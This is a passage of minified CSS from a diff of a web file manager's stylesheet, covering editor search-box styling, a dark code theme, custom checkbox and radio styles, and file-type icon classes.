none;overflow:visible;position:fixed;right:0;background-color:#eee;color:#444;width:100%;max-width:inherit;padding-top:5px;border-top:1px solid #ccc;bottom:0px;}.search_content .ace_search .ace_search_options{text-align:right;position:absolute;top:4px;margin:3px 0 0 20px;}.search_content .ace_search .ace_searchbtn_close{background-position:50% -10%;position:absolute;right:10px;width:18px;height:18px;}.search_content .ace_search .ace_searchbtn_close:hover{background-position:50% 120%;}.search_content .ace_search .ace_search_form,.search_content .ace_search .ace_replace_form{float:inherit;border:none;height:25px;}.search_content .ace_search .ace_search_form .search_info{position:absolute;right:25px;height:25px;line-height:25px;opacity:0.6;filter:alpha(opacity=60);}.search_content .ace_search .ace_search_form .search_at_index,.search_content .ace_search .ace_search_form .search_total_num{padding-left:0.3em;padding-right:0.3em;}.search_content .ace_search .ace_button{margin-left:3px;width:30px;text-align:center;display:inline-block;border-radius:3px;}.search_content .ace_search .ace_button.checked{border-color:#39F;background:#39f;color:#fff;}.search_content .ace_search .ace_search_field{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;background-color:#FFF;border-radius:3px;border:1px solid #ccc;margin:0px;width:100%;height:24px;line-height:23px;}.search_content .ace_search .ace_search_field:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.search_content .ace_search .ace_search_field:focus{box-shadow:0 0 1px #75a1f0;}.search_content .ace_search .ace_search_action{position:absolute;right:50px;}.search_content .ace_search .ace_search_input{position:absolute;left:130px;right:160px;}.search_content .ace_search .ace_replace_form .ace_search_action{right:70px;}.search_content .ace_search .ace_search_form.ace_nomatch{outline:none;}.search_content .ace_search .ace_search_form.ace_nomatch .search_info{color:#f00;font-weight:800;}.search_content .ace_search .search_info.search-first{color:#03a9f4;font-weight:800;}.search_content .ace_search .history-list{position:absolute;right:8px;}.search_content .ace_search .history-list .dropdown-menu:before{right:4px;}.search_content .ace_search .history-list .dropdown-menu:after{right:5px;}.search_content .ace_search .history-list .dropdown-menu li > a{padding:3px 20px;font-size:13px;}.search_content .ace_search .history-list .dropmenu{width:20px;height:20px;background:rgba(50,50,50,0.05);cursor:pointer;font-size:15px;margin-top:2px;color:#ccc;display:inline-block;line-height:20px;text-align:center;border-radius:2px;}.search_content .ace_search .history-list .dropmenu:hover{background:rgba(50,50,50,0.2);color:#aaa;}.search_content .ace_search .history-list.open .dropmenu{background:rgba(50,50,50,0.2);color:#aaa;}.search_content .ace_search .btn_background{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;}.search_content .ace_search .btn_background_hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.search_content .ace_search .ace_searchbtn,.search_content .ace_search .ace_replacebtn{float:left;padding:0 8px;border:1px solid #dcdcdc;margin-left:-1px;background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;}.search_content .ace_search .ace_searchbtn:hover,.search_content .ace_search .ace_replacebtn:hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.search_content .ace_search .ace_searchbtn:active,.search_content .ace_search .ace_replacebtn:active{outline:none;background:#ddd;}.search_content .ace_search .ace_searchbtn.next,.search_content .ace_search .ace_replacebtn.next{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;padding:0 4px;}.search_content .ace_search .ace_searchbtn.next:hover,.search_content .ace_search .ace_replacebtn.next:hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.search_content .ace_search .ace_searchbtn.prev,.search_content .ace_search .ace_replacebtn.prev{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;padding:0 4px;}.search_content .ace_search .ace_searchbtn.prev:hover,.search_content .ace_search .ace_replacebtn.prev:hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.code_theme_black{background:#333;}.code_theme_black pre{background:#333;}.code_theme_black div.tools{box-shadow:1px 2px 15px #3d3d3d;border-bottom:1px solid #474747;background:#3d3d3d;}.code_theme_black div.tools .right .btn{border:solid 1px #474747;background:#3d3d3d;color:#eef;}.code_theme_black div.tools .right .btn:hover{background:#474747;}.code_theme_black div.tools .line{border-color:#595959;}.code_theme_black div.tools a.select,.code_theme_black div.tools a.select:hover,.code_theme_black div.tools a:active,.code_theme_black div.tools a:hover{background:#595959;}.code_theme_black div.tools a .font-icon{color:#eef;text-shadow:none;}.code_theme_black div.tools .disable_mask{background:#000;}.code_theme_black .context-menu-list{border:none;background:#595959;border-bottom:none;box-shadow:0 10px 10px rgba(0,0,0,0.15);}.code_theme_black .context-menu-list .context-menu-item{color:#eef;border-color:rgba(255,255,255,0) !important;}.code_theme_black .context-menu-list .context-menu-item .font-icon{color:#eef;}.code_theme_black .context-menu-list .context-menu-item.context-menu-separator{border-bottom:1px solid #666666 !important;background:none;}.code_theme_black .context-menu-list .context-menu-item.hover,.code_theme_black .context-menu-list .context-menu-item.selected.hover{background:#666666;color:#eef;border-color:transparent !important;}.code_theme_black .context-menu-list .context-menu-item.hover .font-icon,.code_theme_black .context-menu-list .context-menu-item.selected.hover .font-icon{color:#eef;}.code_theme_black .context-menu-list .context-menu-item.line_top{border-top:1px solid #666666 !important;}.code_theme_black .dropdown-menu{background:#595959;}.code_theme_black .dropdown-menu:before{right:4px;}.code_theme_black .dropdown-menu:after{border-top-color:#595959;}.code_theme_black .dropdown-menu li > a{color:#eef;}.code_theme_black .edit_tab .tabs{background:#333;border-bottom:1px solid #474747;}.code_theme_black .edit_tab .tabs .tab{background:#474747;border-right:1px solid #595959;color:#eef;}.code_theme_black .edit_tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#666666;}.code_theme_black .edit_tab .tabs .tab.hover{background:#474747;}.code_theme_black .edit_tab .tabs .add{background:#595959;border:1px solid #3d3d3d;color:#eef;}.code_theme_black .edit_tab .tabs .add:hover{background:#666666;}.code_theme_black .edit_tab .tabs .tab.this{background:#666666;border-right:1px solid #666666;border-left:3px solid #63acff;margin-left:-3px;}.code_theme_black .draggable-dragging{background:#595959;border-left:3px solid #63acff;}.code_theme_black .edit_content .resize{background-color:#ddd;background-color:rgba(255,255,255,0.01);}.code_theme_black .edit_content .resize:hover{background-color:#ddd;background-color:rgba(255,255,255,0.1);}.code_theme_black .edit_content .resize.resize_active{background-color:#ddd;background-color:rgba(255,255,255,0.3);}.code_theme_black .edit_right_frame{background:#333;border-left:1px solid #3d3d3d;}.code_theme_black .edit_right_frame .function_list_parent{background:#333;}.code_theme_black .edit_right_frame .function_list_box .list_row{color:#eef;}.code_theme_black .edit_right_frame .function_list_box .list_row.row_hover{background:#3d3d3d;}.code_theme_black .edit_right_frame .function_list_box .list_row.row_select{background:#63acff;}.code_theme_black .edit_right_frame .function_list_box .list_row.mark,.code_theme_black .edit_right_frame .function_list_box .list_row.class{background:#595959;}.code_theme_black .edit_right_frame .preview_url_tool,.code_theme_black .edit_right_frame .function_list_tool{border-bottom:1px solid #3d3d3d;}.code_theme_black .edit_right_frame .preview_url_tool .box,.code_theme_black .edit_right_frame .function_list_tool .box{background:#333;color:#eef;border:none;}.code_theme_black .edit_right_frame .preview_url_tool .box a,.code_theme_black .edit_right_frame .function_list_tool .box a{padding:0px 6px;}.code_theme_black .edit_right_frame .preview_url_tool .box a:hover,.code_theme_black .edit_right_frame .function_list_tool .box a:hover{border:1px solid #666666;}.code_theme_black .edit_right_frame .preview_url_tool .input_content input,.code_theme_black .edit_right_frame .function_list_tool .input_content input{color:#eee;font-size:1.15em;text-shadow:none;background:#444;box-shadow:none;border:none;}.code_theme_black .edit_right_frame .preview_url_tool .input_content input:focus,.code_theme_black .edit_right_frame .function_list_tool .input_content input:focus{box-shadow:none;}.code_theme_black .edit_right_frame .function_search input{color:#eef;border:1px solid #595959;background:#474747;}.code_theme_black .edit_right_frame .preview_markdown_tool .box a .font-icon{color:#eef;}.code_theme_black .edit_right_frame .preview_markdown_tool .box a:hover{background:#666666;color:#eef;}.code_theme_black .edit_right_frame .preview_markdown_tool .box a:hover .font-icon{color:#eef;}.code_theme_black .edit_right_frame .preview_markdown_tool .toolbar{border-left:1px solid #595959;background:#3d3d3d;}.code_theme_black .edit_right_frame .preview_markdown_tool .toolbar .md-tools{color:#eef;}.code_theme_black .edit_right_frame .preview_markdown_tool .toolbar .md-tools:hover{background:#666666;}.code_theme_black .edit_right_frame .preview_markdown_tool .toolbar .md-tools.md-tools-split{color:#3d3d3d;}.code_theme_black .edit_right_frame .markdown_help{background:#474747;color:#eef;border-color:#595959;}.code_theme_black .edit_right_frame .markdown_help h3{border-color:#666666;}.code_theme_black .edit_right_frame .markdown_help h5{border-color:#666666;}.code_theme_black .edit_right_frame .markdown_help pre{background:#666666;color:#eef;}.code_theme_black .edit_right_frame .markdown_menu_box{background:#474747;color:#eef;border-color:#595959;}.code_theme_black .edit_right_frame .markdown_menu_box h3{border-color:#666666;}.code_theme_black .edit_right_frame .markdown_menu_box .markdown_menu li a{color:#ffa500;}.code_theme_black .edit_right_frame .markdown_menu_box .markdown_menu li a:hover{background:#666666;}.code_theme_black .edit_right_frame .markdown_setting{background:#474747;color:#eef;border-color:#595959;}.code_theme_black .edit_right_frame .markdown_setting ul li.line{height:1px;background:#595959;}.code_theme_black .edit_right_frame .markdown_setting ul a,.code_theme_black .edit_right_frame .markdown_setting ul a:visited{color:#eef;}.code_theme_black .edit_right_frame .markdown_setting ul a i{color:#eef;}.code_theme_black .edit_right_frame .markdown_setting ul a:hover{background:#666666;color:#eef;}.code_theme_black .edit_right_frame .markdown_setting ul a:hover i{color:#eef;}.code_theme_black .edit_body{background:#333;}.code_theme_black .edit_body .bottom_toolbar{border-radius:4px;background:#474747;border:1px solid #595959;}.code_theme_black .edit_body .bottom_toolbar a{color:#fff;}.code_theme_black .edit_body .bottom_toolbar a .font-icon{color:#eef;}.code_theme_black .edit_body .bottom_toolbar a:hover{color:#63acff;}.code_theme_black .edit_body .bottom_toolbar a.select{background:#666666;color:#fff;}.code_theme_black .edit_body .aui_icon,.code_theme_black .edit_body .aui_main{background:#333;}.code_theme_black .edit_body .aui_state_noTitle .aui_inner{border:1px solid #666666;}.code_theme_black .ace_text-input{background:#333;}.code_theme_black .ace_search{background-color:#474747;border-color:#595959;color:#eef;}.code_theme_black .ace_search .ace_button{border:1px solid #595959;color:#fff;}.code_theme_black .ace_search .ace_button:hover{background-color:#595959;}.code_theme_black .ace_search .ace_button.checked{border-color:#39F;background:#39f;color:#fff;}.code_theme_black .ace_search .ace_search_field{background-color:#595959;border:1px solid #595959;color:#eef;}.code_theme_black .ace_search .ace_search_form.ace_nomatch .search_info{color:#f66;}.code_theme_black .ace_search .btn_background{background:#474747;border-color:#595959;color:#eef;}.code_theme_black .ace_search .btn_background_hover{background:#595959;border-color:#666666;}.code_theme_black .ace_search .ace_searchbtn,.code_theme_black .ace_search .ace_replacebtn{background:#474747;border-color:#595959;color:#eef;}.code_theme_black .ace_search .ace_searchbtn:hover,.code_theme_black .ace_search .ace_replacebtn:hover{background:#595959;border-color:#666666;}.code_theme_black .ace_search .ace_searchbtn.next,.code_theme_black .ace_search .ace_replacebtn.next{background:#474747;border-color:#595959;color:#eef;}.code_theme_black .ace_search .ace_searchbtn.next:hover,.code_theme_black .ace_search .ace_replacebtn.next:hover{background:#595959;border-color:#666666;}.code_theme_black .ace_search .ace_searchbtn.prev,.code_theme_black .ace_search .ace_replacebtn.prev{background:#474747;border-color:#595959;color:#eef;}.code_theme_black .ace_search .ace_searchbtn.prev:hover,.code_theme_black .ace_search .ace_replacebtn.prev:hover{background:#595959;border-color:#666666;}.code_theme_black .introduction{background:#3d3d3d;top:59px;}.code_theme_black .introduction pre{background:#3d3d3d;border-bottom:1px solid #474747;}.code_theme_black .introduction .tips h1{border-bottom:1px dashed #3d3d3d;}.code_theme_black .introduction .green{border-left:1px solid #3d3d3d;}.code_theme_black .context-menu-list .gotoline_input input{color:#eef;background:#666666;broder-color:#474747;}.code_theme_black .code_mode_list{background:#474747;color:#eef;}.code_theme_black .code_mode_list li.list_input{background:#474747;}.code_theme_black .code_mode_list li.list_input input{color:#eef;background:#666666;broder-color:#474747;}.code_theme_black .code_mode_list li.selected,.code_theme_black .code_mode_list li.selected.hover,.code_theme_black .code_mode_list li.hover{background:#666666;color:#fff;}.forceWap .edit_right_frame{width:0 !important;display:none;}.forceWap .resize{display:none;}.forceWap .ace_editor{width:100% !important;}.forceWap .edit_tab{display:none;}.forceWap .edit_body{top:29px;}.forceWap .ace_scroller{left:30px !important;}.forceWap .ace_gutter,.forceWap .ace_gutter-layer{width:30px !important;}.forceWap .ace_folding-enabled > .ace_gutter-cell{padding:0px 3px !important;}.forceWap .ace_editor_content{font-size:12px !important;}.forceWap .top_toolbar a[action="saveall"],.forceWap .top_toolbar a[action="refresh"],.forceWap .top_toolbar .menuViewGotoline{display:none;}@media screen and (max-width:600px){.topbar .content .top_right{ display:none;}} -/* ver 3.35(2016-12-23) [build 1482476938.8517] */ \ No newline at end of file +/* power by kodexplorer ver 3.36(2016-12-30) [build 1483112852.0201] */ +::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.hidden{display:none;}.frame_fullscreen{position:fixed;z-index:999499;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ margin:15px 1.2em 15px 2.5em;vertical-align:middle;display:inline-block;margin:0px;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;width:16px !important;} input[type="checkbox"].kui-checkbox.size-smallx:before{ font-size:9.6px;line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:17px;width:17px !important;} input[type="checkbox"].kui-checkbox.size-small:before{ font-size:10.2px;line-height:17px;} input[type="checkbox"].kui-checkbox{ height:24px;width:24px !important;} input[type="checkbox"].kui-checkbox:before{ font-size:14.4px;line-height:24px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;width:26px !important;} input[type="checkbox"].kui-checkbox.size-big:before{ font-size:15.6px;line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;width:32px !important;} input[type="checkbox"].kui-checkbox.size-bigx:before{ font-size:19.2px;line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ height:16px;width:16px !important;} input[type="radio"].kui-radio.size-smallx:before{ font-size:9.6px;line-height:14px;} input[type="radio"].kui-radio.size-small{ height:18px;width:18px !important;} input[type="radio"].kui-radio.size-small:before{ font-size:10.8px;line-height:16px;} input[type="radio"].kui-radio{ height:24px;width:24px !important;} input[type="radio"].kui-radio:before{ font-size:14.4px;line-height:22px;} input[type="radio"].kui-radio.size-big{ height:26px;width:26px !important;} input[type="radio"].kui-radio.size-big:before{ font-size:15.6px;line-height:24px;} input[type="radio"].kui-radio.size-bigx{ height:32px;width:32px !important;} input[type="radio"].kui-radio.size-bigx:before{ font-size:19.2px;line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.fileList_icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary_box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.fileList_list .file .ico .x-item-file,.fileList_list_split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task_tab .tabs .tab .x-item-file,.task_tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui_title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit_tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do_search .search_result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:8px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x